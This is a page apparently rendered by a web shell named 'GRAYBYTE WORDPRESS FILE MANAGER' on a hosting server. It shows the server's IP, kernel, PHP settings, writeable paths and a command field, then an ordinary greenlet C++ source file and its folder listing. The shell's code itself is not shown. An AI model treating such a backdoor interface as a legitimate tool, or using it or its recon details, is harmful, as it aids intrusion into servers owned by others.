GRAYBYTE WORDPRESS FILE MANAGER4856

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/hc_python/lib/python3.12/site-packages/greenlet/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/hc_python/lib/python3.12/site-packages/greenlet//CObjects.cpp
#ifndef COBJECTS_CPP
#define COBJECTS_CPP
/*****************************************************************************
 * C interface
 *
 * These are exported using the CObject API
 */
#ifdef __clang__
#    pragma clang diagnostic push
#    pragma clang diagnostic ignored "-Wunused-function"
#endif

#include "greenlet_exceptions.hpp"

#include "greenlet_internal.hpp"
#include "greenlet_refs.hpp"


#include "TThreadStateDestroy.cpp"

#include "PyGreenlet.hpp"

using greenlet::PyErrOccurred;
using greenlet::Require;



extern "C" {
static PyGreenlet*
PyGreenlet_GetCurrent(void)
{
    return GET_THREAD_STATE().state().get_current().relinquish_ownership();
}

static int
PyGreenlet_SetParent(PyGreenlet* g, PyGreenlet* nparent)
{
    return green_setparent((PyGreenlet*)g, (PyObject*)nparent, NULL);
}

static PyGreenlet*
PyGreenlet_New(PyObject* run, PyGreenlet* parent)
{
    using greenlet::refs::NewDictReference;
    // In the past, we didn't use green_new and green_init, but that
    // was a maintenance issue because we duplicated code. This way is
    // much safer, but slightly slower. If that's a problem, we could
    // refactor green_init to separate argument parsing from initialization.
    OwnedGreenlet g = OwnedGreenlet::consuming(green_new(&PyGreenlet_Type, nullptr, nullptr));
    if (!g) {
        return NULL;
    }

    try {
        NewDictReference kwargs;
        if (run) {
            kwargs.SetItem(mod_globs->str_run, run);
        }
        if (parent) {
            kwargs.SetItem("parent", (PyObject*)parent);
        }

        Require(green_init(g.borrow(), mod_globs->empty_tuple, kwargs.borrow()));
    }
    catch (const PyErrOccurred&) {
        return nullptr;
    }

    return g.relinquish_ownership();
}

static PyObject*
PyGreenlet_Switch(PyGreenlet* self, PyObject* args, PyObject* kwargs)
{
    if (!PyGreenlet_Check(self)) {
        PyErr_BadArgument();
        return NULL;
    }

    if (args == NULL) {
        args = mod_globs->empty_tuple;
    }

    if (kwargs == NULL || !PyDict_Check(kwargs)) {
        kwargs = NULL;
    }

    return green_switch(self, args, kwargs);
}

static PyObject*
PyGreenlet_Throw(PyGreenlet* self, PyObject* typ, PyObject* val, PyObject* tb)
{
    if (!PyGreenlet_Check(self)) {
        PyErr_BadArgument();
        return nullptr;
    }
    try {
        PyErrPieces err_pieces(typ, val, tb);
        return internal_green_throw(self, err_pieces).relinquish_ownership();
    }
    catch (const PyErrOccurred&) {
        return nullptr;
    }
}



static int
Extern_PyGreenlet_MAIN(PyGreenlet* self)
{
    if (!PyGreenlet_Check(self)) {
        PyErr_BadArgument();
        return -1;
    }
    return self->pimpl->main();
}

static int
Extern_PyGreenlet_ACTIVE(PyGreenlet* self)
{
    if (!PyGreenlet_Check(self)) {
        PyErr_BadArgument();
        return -1;
    }
    return self->pimpl->active();
}

static int
Extern_PyGreenlet_STARTED(PyGreenlet* self)
{
    if (!PyGreenlet_Check(self)) {
        PyErr_BadArgument();
        return -1;
    }
    return self->pimpl->started();
}

static PyGreenlet*
Extern_PyGreenlet_GET_PARENT(PyGreenlet* self)
{
    if (!PyGreenlet_Check(self)) {
        PyErr_BadArgument();
        return NULL;
    }
    // This can return NULL even if there is no exception
    return self->pimpl->parent().acquire();
}
} // extern C.

/** End C API ****************************************************************/
#ifdef __clang__
#    pragma clang diagnostic pop
#endif


#endif

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 23 2025 08:31:29
root / root
0755
__pycache__
--
May 23 2025 08:31:29
root / root
0755
platform
--
May 23 2025 08:31:29
root / root
0755
tests
--
May 23 2025 08:31:29
root / root
0755
CObjects.cpp
3.426 KB
May 23 2025 08:31:29
root / root
0644
PyGreenlet.cpp
22.892 KB
May 23 2025 08:31:29
root / root
0644
PyGreenlet.hpp
1.429 KB
May 23 2025 08:31:29
root / root
0644
PyGreenletUnswitchable.cpp
4.272 KB
May 23 2025 08:31:29
root / root
0644
PyModule.cpp
8.386 KB
May 23 2025 08:31:29
root / root
0644
TBrokenGreenlet.cpp
0.997 KB
May 23 2025 08:31:29
root / root
0644
TExceptionState.cpp
1.327 KB
May 23 2025 08:31:29
root / root
0644
TGreenlet.cpp
25.128 KB
May 23 2025 08:31:29
root / root
0644
TGreenlet.hpp
27.386 KB
May 23 2025 08:31:29
root / root
0644
TGreenletGlobals.cpp
3.188 KB
May 23 2025 08:31:29
root / root
0644
TMainGreenlet.cpp
3.199 KB
May 23 2025 08:31:29
root / root
0644
TPythonState.cpp
15.409 KB
May 23 2025 08:31:29
root / root
0644
TStackState.cpp
7.208 KB
May 23 2025 08:31:29
root / root
0644
TThreadState.hpp
18.683 KB
May 23 2025 08:31:29
root / root
0644
TThreadStateCreator.hpp
2.549 KB
May 23 2025 08:31:29
root / root
0644
TThreadStateDestroy.cpp
7.978 KB
May 23 2025 08:31:29
root / root
0644
TUserGreenlet.cpp
23.001 KB
May 23 2025 08:31:29
root / root
0644
__init__.py
1.683 KB
May 23 2025 08:31:29
root / root
0644
_greenlet.cpython-312-x86_64-linux-gnu.so
1.38 MB
May 23 2025 08:31:29
root / root
0755
greenlet.cpp
10.738 KB
May 23 2025 08:31:29
root / root
0644
greenlet.h
4.644 KB
May 23 2025 08:31:29
root / root
0644
greenlet_allocator.hpp
1.545 KB
May 23 2025 08:31:29
root / root
0644
greenlet_compiler_compat.hpp
4.244 KB
May 23 2025 08:31:29
root / root
0644
greenlet_cpython_compat.hpp
3.973 KB
May 23 2025 08:31:29
root / root
0644
greenlet_exceptions.hpp
4.397 KB
May 23 2025 08:31:29
root / root
0644
greenlet_internal.hpp
2.646 KB
May 23 2025 08:31:29
root / root
0644
greenlet_refs.hpp
33.629 KB
May 23 2025 08:31:29
root / root
0644
greenlet_slp_switch.hpp
3.123 KB
May 23 2025 08:31:29
root / root
0644
greenlet_thread_support.hpp
0.847 KB
May 23 2025 08:31:29
root / root
0644
slp_platformselect.h
3.751 KB
May 23 2025 08:31:29
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF